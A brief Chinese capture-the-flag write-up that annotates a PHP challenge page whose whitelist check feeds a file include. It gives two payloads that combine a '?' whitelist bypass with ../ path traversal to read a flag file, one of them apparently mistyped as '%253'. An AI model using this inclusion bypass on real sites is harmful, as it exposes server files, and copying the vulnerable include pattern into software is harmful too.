打开时滑稽图 F12看到了source.php
点进去
<?php
highlight_file(__FILE__);
class emmm //这里就是一个类
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) { //这个比较好过 只要page不存在或者不是字符串
echo "you can't see it"; #输出
return false; //失败了
}
if (in_array($page, $whitelist)) {
//判断page在不在白名单里面 如果在
return true;
}
$_page = mb_substr( //在中文字符串中取0到?这么长的字节
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
//判断page在不在白名单里面 如果在
return true;
}
$_page = urldecode($page);//进行url解码
$_page = mb_substr( //再进行一次取字符串0-?之间这么长个字节
$_page,
0,
mb_strpos($_page . '?', '?')// hint.php?flag
);
if (in_array($_page, $whitelist)) {
//判断page在不在白名单里面 如果在
return true;
}
echo "you can't see it";
return false;
}
}
#要满足下面三个条件才能输出flag
if (! empty($_REQUEST['file']) //如果file不是空
&& is_string($_REQUEST['file']) //file要是字符串
&& emmm::checkFile($_REQUEST['file']) // file可以在checkfile返回true
) {
include $_REQUEST['file'];
exit;
} else { // 否则只能返回图片
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
构造playload
#要满足下面三个条件才能输出flag
if (! empty($_REQUEST['file']) //如果file不是空
&& is_string($_REQUEST['file']) //file要是字符串
&& emmm::checkFile($_REQUEST['file']) // file可以在checkfile返回true
最终playload
1.
source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
2.
经过两次url解码后的?=%253
source.php?file=hint.php%253/../../../../../../ffffllllaaaagggg